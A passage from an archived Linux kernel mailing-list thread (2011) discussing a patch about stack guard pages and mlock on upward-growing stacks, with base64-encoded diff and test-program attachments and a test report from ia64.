YV9zdHJ1Y3QgKm5ld192bWEsCiAJCXVuc2lnbmVkIGxvbmcgbmV3X2FkZHIsIHVuc2lnbmVkIGxv
bmcgbGVuKTsKZGlmZiAtLWdpdCBhL21tL21lbW9yeS5jIGIvbW0vbWVtb3J5LmMKaW5kZXggMjdm
NDI1Mzc4MTEyLi42MWU2NmYwMjY1NjMgMTAwNjQ0Ci0tLSBhL21tL21lbW9yeS5jCisrKyBiL21t
L21lbW9yeS5jCkBAIC0xNDEyLDkgKzE0MTIsOCBAQCBub19wYWdlX3RhYmxlOgogCiBzdGF0aWMg
aW5saW5lIGludCBzdGFja19ndWFyZF9wYWdlKHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLCB1
bnNpZ25lZCBsb25nIGFkZHIpCiB7Ci0JcmV0dXJuICh2bWEtPnZtX2ZsYWdzICYgVk1fR1JPV1NE
T1dOKSAmJgotCQkodm1hLT52bV9zdGFydCA9PSBhZGRyKSAmJgotCQkhdm1hX3N0YWNrX2NvbnRp
bnVlKHZtYS0+dm1fcHJldiwgYWRkcik7CisJcmV0dXJuIHN0YWNrX2d1YXJkX3BhZ2Vfc3RhcnQo
dm1hLCBhZGRyKSB8fAorCSAgICAgICBzdGFja19ndWFyZF9wYWdlX2VuZCh2bWEsIGFkZHIrUEFH
RV9TSVpFKTsKIH0KIAogLyoqCkBAIC0xNTUxLDEyICsxNTUwLDYgQEAgaW50IF9fZ2V0X3VzZXJf
cGFnZXMoc3RydWN0IHRhc2tfc3RydWN0ICp0c2ssIHN0cnVjdCBtbV9zdHJ1Y3QgKm1tLAogCQkJ
Y29udGludWU7CiAJCX0KIAotCQkvKgotCQkgKiBGb3IgbWxvY2ssIGp1c3Qgc2tpcCB0aGUgc3Rh
Y2sgZ3VhcmQgcGFnZS4KLQkJICovCi0JCWlmICgoZ3VwX2ZsYWdzICYgRk9MTF9NTE9DSykgJiYg
c3RhY2tfZ3VhcmRfcGFnZSh2bWEsIHN0YXJ0KSkKLQkJCWdvdG8gbmV4dF9wYWdlOwotCiAJCWRv
IHsKIAkJCXN0cnVjdCBwYWdlICpwYWdlOwogCQkJdW5zaWduZWQgaW50IGZvbGxfZmxhZ3MgPSBn
dXBfZmxhZ3M7CkBAIC0xNTczLDYgKzE1NjYsMTEgQEAgaW50IF9fZ2V0X3VzZXJfcGFnZXMoc3Ry
dWN0IHRhc2tfc3RydWN0ICp0c2ssIHN0cnVjdCBtbV9zdHJ1Y3QgKm1tLAogCQkJCWludCByZXQ7
CiAJCQkJdW5zaWduZWQgaW50IGZhdWx0X2ZsYWdzID0gMDsKIAorCQkJCS8qIEZvciBtbG9jaywg
anVzdCBza2lwIHRoZSBzdGFjayBndWFyZCBwYWdlLiAqLworCQkJCWlmIChmb2xsX2ZsYWdzICYg
Rk9MTF9NTE9DSykgeworCQkJCQlpZiAoc3RhY2tfZ3VhcmRfcGFnZSh2bWEsIHN0YXJ0KSkKKwkJ
CQkJCWdvdG8gbmV4dF9wYWdlOworCQkJCX0KIAkJCQlpZiAoZm9sbF9mbGFncyAmIEZPTExfV1JJ
VEUpCiAJCQkJCWZhdWx0X2ZsYWdzIHw9IEZBVUxUX0ZMQUdfV1JJVEU7CiAJCQkJaWYgKG5vbmJs
b2NraW5nKQo=
--0016e6d58af1b884e304a2df1234--
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 09 May 2011 17:19:09 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <1304979549.4865.56.camel@mulgrave.site>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
	 <alpine.LSU.2.00.1105081303540.16151@sister.anvils>
	 <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
	 <BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com>
	 <BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1304979561 23332 80.91.229.12 (9 May 2011 22:19:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 22:19:21 +0000 (UTC)
Cc: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Hugh Dickins <hughd@google.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>, linux-ia64@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 10 00:19:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJYnL-0003Qw-8H
	for glpp-linux-parisc@lo.gmane.org; Tue, 10 May 2011 00:19:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755252Ab1EIWTO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 18:19:14 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59970 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753065Ab1EIWTO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 18:19:14 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 83BFA8EE0F2;
	Mon,  9 May 2011 15:19:13 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tbvP6p-Szb2v; Mon,  9 May 2011 15:19:13 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8CACD8EE0EB;
	Mon,  9 May 2011 15:19:12 -0700 (PDT)
In-Reply-To: <BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3706 gmane.linux.kernel:1137668 gmane.linux.ports.ia64:21647
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3706>

On Mon, 2011-05-09 at 15:07 -0700, Linus Torvalds wrote:
> Regardless, I'd like to hear whether this patch really does work on
> PA-RISC and especially IA64. I think those are the only cases that
> have a GROWSUP stack. And the IA64 case that supports both is the most
> interesting, everybody else does just one or the other.

So I can test the patch, if you tell me how.  I don't use lvm2, so it
would have to be a simple test case.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Tue, 10 May 2011 00:26:39 +0200 (CEST)
Lines: 70
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1105100025300.13325@artax.karlin.mff.cuni.cz>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz> <alpine.LSU.2.00.1105081303540.16151@sister.anvils> <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz> <BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com>
 <BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1304980008 25578 80.91.229.12 (9 May 2011 22:26:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 22:26:48 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 10 00:26:43 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJYuY-0006Zw-GB
	for glpp-linux-parisc@lo.gmane.org; Tue, 10 May 2011 00:26:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755764Ab1EIW0l (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 18:26:41 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:44060 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755231Ab1EIW0k (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 18:26:40 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 70D909809D; Tue, 10 May 2011 00:26:39 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 701A19805C;
	Tue, 10 May 2011 00:26:39 +0200 (CEST)
In-Reply-To: <BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3707 gmane.linux.kernel:1137672 gmane.linux.ports.ia64:21648
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3707>



On Mon, 9 May 2011, Linus Torvalds wrote:

> On Mon, May 9, 2011 at 8:57 AM, Linus Torvalds
> <torvalds@linux-foundation.org> wrote:
> >
> > Hmm. One thing that strikes me is this problem also implies that the
> > /proc/self/maps file is wrong for the GROWSUP case, isn't it?
> >
> > So I think we should not just apply your lock fix, but then *also*
> > apply something like this:
> 
> Actually, I think we might be better off with something like this.
> 
> It makes a few more changes:
> 
>  - move the stack guard page checking in __get_user_pages() into the
> rare case (ie we didn't find a page), since that's the only case we
> care about (the thing about the guard page is that don't want to call
> "handle_mm_fault()"). As a result, it's off any path where we can
> possibly care about performance, so we might as well have a nice
> helper function for both the grow-up and grow-down cases, instead of
> trying to be clever and only look at the grow-down case for the first
> page in the vma like you did in your patch.
> 
>    End result: simpler, more straightforward code.
> 
>  - Move the growsup/down helper functions to <linux/mm.h>, since the
> /proc code really wants to use them too. That means that the
> "vma_stack_continue()" function (which now got split up into two
> cases, for the up/down cases) is now entirely just an internal helper
> function - nobody else uses it, and the real interface are the
> "stack_guard_page_xyz()"  functions. Renamed to be simpler.
> 
>  - changed that naming of those stack_guard_page functions to use
> _start and _end instead of growsup/growsdown, since it actually takes
> the start or the end of the page as the argument (to match the
> semantics of the afore-mentioned helpers)
> 
>  - and finally, make /proc/<pid>/maps use these helpers for both the
> up/down case, so now /proc/self/maps should work well for the growsup
> case too.
> 
> Hmm?
> 
> The only oddish case is IA64 that actually has a stack that grows
> *both* up and down. That means that I could make up a stack mapping
> that has a single virtual page in it, that is both the start *and* the
> end page. Now /proc/self/maps would actually show such a mapping with
> "negative" size. That's interesting.
> 
> It would be easy enough to have a "if (end < start) end = start" there
> for that case, but maybe it's actually interesting information.
> 
> Regardless, I'd like to hear whether this patch really does work on
> PA-RISC and especially IA64. I think those are the only cases that
> have a GROWSUP stack. And the IA64 case that supports both is the most
> interesting, everybody else does just one or the other.
> 
>                     Linus

I will test it after a week, now I'm traveling away.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 15:31:42 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <BANLkTim7ATRyJ2NvoCj4Sv=7CLizKMd_WA@mail.gmail.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
 <alpine.LSU.2.00.1105081303540.16151@sister.anvils> <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
 <BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com> <BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
 <1304979549.4865.56.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=002354477dba8c26c904a2df68c4
X-Trace: dough.gmane.org 1304980364 27207 80.91.229.12 (9 May 2011 22:32:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 22:32:44 +0000 (UTC)
Cc: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Hugh Dickins <hughd@google.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>, linux-ia64@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue May 10 00:32:38 2011
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1QJZ0I-0000Pg-38
	for glpi-linux-ia64-2@lo.gmane.org; Tue, 10 May 2011 00:32:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755129Ab1EIWcg (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Mon, 9 May 2011 18:32:36 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:60802 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753532Ab1EIWcf (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Mon, 9 May 2011 18:32:35 -0400
Original-Received: from mail-ey0-f174.google.com (mail-ey0-f174.google.com [209.85.215.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p49MW26Z004788
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=FAIL);
	Mon, 9 May 2011 15:32:04 -0700
Original-Received: by eyx24 with SMTP id 24so1677209eyx.19
        for <multiple recipients>; Mon, 09 May 2011 15:32:02 -0700 (PDT)
Original-Received: by 10.14.50.3 with SMTP id y3mr3225436eeb.225.1304980322264; Mon, 09
 May 2011 15:32:02 -0700 (PDT)
Original-Received: by 10.14.127.144 with HTTP; Mon, 9 May 2011 15:31:42 -0700 (PDT)
In-Reply-To: <1304979549.4865.56.camel@mulgrave.site>
X-Spam-Status: No, hits=-104.97 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21649 gmane.linux.kernel:1137676 gmane.linux.ports.parisc:3708
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/21649>

--002354477dba8c26c904a2df68c4
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

On Mon, May 9, 2011 at 3:19 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
>
> So I can test the patch, if you tell me how. =A0I don't use lvm2, so it
> would have to be a simple test case.

Something like the attached. Run it as root (it needs root just for
the mlockall), and see whether the stack it shows changes.

With current kernels, I think the stack expands by one page during the
mlockall (for STACK_GROWSUP), with the patch it shouldn't.

                   Linus

--002354477dba8c26c904a2df68c4
Content-Type: text/x-csrc; charset=US-ASCII; name="t.c"
Content-Disposition: attachment; filename="t.c"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_gnhzk71z0

I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPHN5cy9tbWFu
Lmg+CgpzdGF0aWMgdm9pZCBzaG93X3N0YWNrKHZvaWQpCnsKCUZJTEUgKm1hcDsKCWNoYXIgYnVm
WzEwMDBdOwoKCW1hcCA9IGZvcGVuKCIvcHJvYy9zZWxmL21hcHMiLCAiciIpOwoJaWYgKCFtYXAp
CgkJcmV0dXJuOwoKCXdoaWxlIChmZ2V0cyhidWYsIDEwMDAsIG1hcCkpIHsKCQlpZiAoIXN0cnN0
cihidWYsICJbc3RhY2tdIikpCgkJCWNvbnRpbnVlOwoJCWZwdXRzKGJ1Ziwgc3Rkb3V0KTsKCX0K
CglmY2xvc2UobWFwKTsKfQoKaW50IG1haW4odm9pZCkKewoJc2hvd19zdGFjaygpOwoJbWxvY2th
bGwoTUNMX0NVUlJFTlQgfCBNQ0xfRlVUVVJFKTsKCXNob3dfc3RhY2soKTsKCXJldHVybiAwOwp9
Cg==
--002354477dba8c26c904a2df68c4--
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 16:45:11 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20110509224511.GC15227@parisc-linux.org>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz> <BANLkTikEpaRZK3X4YReeQAwgcv3HAGUwSw@mail.gmail.com> <alpine.DEB.2.00.1105091246550.32299@artax.karlin.mff.cuni.cz> <4DC7D37F.9040308@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1304981122 31148 80.91.229.12 (9 May 2011 22:45:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 22:45:22 +0000 (UTC)
Cc: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Hugh Dickins <hughd@google.com>,
	Oleg Nesterov <oleg@redhat.com>, agk@redhat.com
To: Zdenek Kabelac <zkabelac@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 10 00:45:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJZCU-0005HW-OG
	for glpp-linux-parisc@lo.gmane.org; Tue, 10 May 2011 00:45:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932230Ab1EIWpO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 18:45:14 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:49846 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932123Ab1EIWpN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 18:45:13 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 371D549400B; Mon,  9 May 2011 16:45:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4DC7D37F.9040308@redhat.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3709 gmane.linux.kernel:1137679
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3709>

On Mon, May 09, 2011 at 01:43:59PM +0200, Zdenek Kabelac wrote:
> > Why it doesn't use mlockall()? Because glibc maps all locales to the 
> > process. Glibc packs all locales to a 100MB file and maps that file to 
> > every process. Even if the process uses just one locale, glibc maps all.
> > 
> > So, when LVM used mlockall, it consumed >100MB memory and it caused 
> > out-of-memory problems in system installers.
> > 
> > So, alternate way of locking was added to LVM --- read all maps and lock 
> > them, except for the glibc locale file.
> > 
> > The real fix would be to fix glibc not to map 100MB to every process.
> 
> I should add here probably few words.
> 
> Glibc knows few more ways around - so it could work only with one locale file
> per language, or even without using mmap and allocating them in memory.
> Depends on the distribution usually - Fedora decided to combine all locales
> into one huge file (>100MB) - Ubuntu/Debian mmaps each locales individually
> (usually ~MB)

Sounds to me like glibc should introduce an mlockmost() call that does all
the work for you ...

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tony Luck <tony.luck@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 15:53:33 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <BANLkTi=DCKmN_BafFckKHOMfjWpVLQPDFA@mail.gmail.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
	<alpine.LSU.2.00.1105081303540.16151@sister.anvils>
	<alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
	<BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com>
	<BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
	<1304979549.4865.56.camel@mulgrave.site>
	<BANLkTim7ATRyJ2NvoCj4Sv=7CLizKMd_WA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1304981631 1116 80.91.229.12 (9 May 2011 22:53:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 22:53:51 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Hugh Dickins <hughd@google.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>, linux-ia64@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 10 00:53:45 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJZKi-0000EF-OX
	for glpp-linux-parisc@lo.gmane.org; Tue, 10 May 2011 00:53:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932286Ab1EIWxg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 18:53:36 -0400
Original-Received: from mail-vx0-f174.google.com ([209.85.220.174]:45021 "EHLO
	mail-vx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755767Ab1EIWxe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 18:53:34 -0400
Original-Received: by vxi39 with SMTP id 39so6232594vxi.19
        for <multiple recipients>; Mon, 09 May 2011 15:53:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=ZkcylxOYmHJLMQql0RxBEhK9gUuWLyMd+ZEBydYX4bM=;
        b=LPRtMv0wsLRoGkLST/kZBjDZnKuC925gnbStvNuSoXptCTx0fqsIioCNOjH4LWonyf
         P52pUsdGa+4AusalktFgKVuP+Qh040xc96UX+BJdfaX0k5C+fUzDjxIRjV0J34QlFZdV
         bLXJjqRN79WEIHafravK45Ab3lrvCii7bjs+A=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        b=cTGJc7BifhKVDtGIup+rK9AWaJjQWYKzuXVmNn7D4Voy2uYdxiwaNQXlQ/bOpy0cjG
         42OlqocHpTM9UCyuIVnCcM+iQFupYkqm1uoBhVJI867Wktod1a/i7M/W8xpFouVcxIdu
         McX1za6juWQRecCoaDVq2GuWT2Zg8kC/OyKR0=
Original-Received: by 10.220.161.195 with SMTP id s3mr501174vcx.213.1304981613323; Mon,
 09 May 2011 15:53:33 -0700 (PDT)
Original-Received: by 10.220.44.194 with HTTP; Mon, 9 May 2011 15:53:33 -0700 (PDT)
In-Reply-To: <BANLkTim7ATRyJ2NvoCj4Sv=7CLizKMd_WA@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3710 gmane.linux.kernel:1137681 gmane.linux.ports.ia64:21650
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3710>

On Mon, May 9, 2011 at 3:31 PM, Linus Torvalds
<torvalds@linux-foundation.org> wrote:
> With current kernels, I think the stack expands by one page during the
> mlockall (for STACK_GROWSUP), with the patch it shouldn't.

Tried this on ia64 (with a mod because the upward growing stack isn't
blessed with
the [stack] annotation, only the downward growing stack gets that honour).

ia64 builds, boots, and processes can still grow stacks (both of them).  The
patched kernel doesn't change the size of the upwardly growing stack across
the mlockall().

-Tony

P.S. while we could start both stacks on the same page and have the grow
away from the start point, ia64 actually starts them out a fair distance apart
and lets them run into each other (if you have enough memory to let them
grow that far, and if ulimit -s doesn't stop them earlier)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
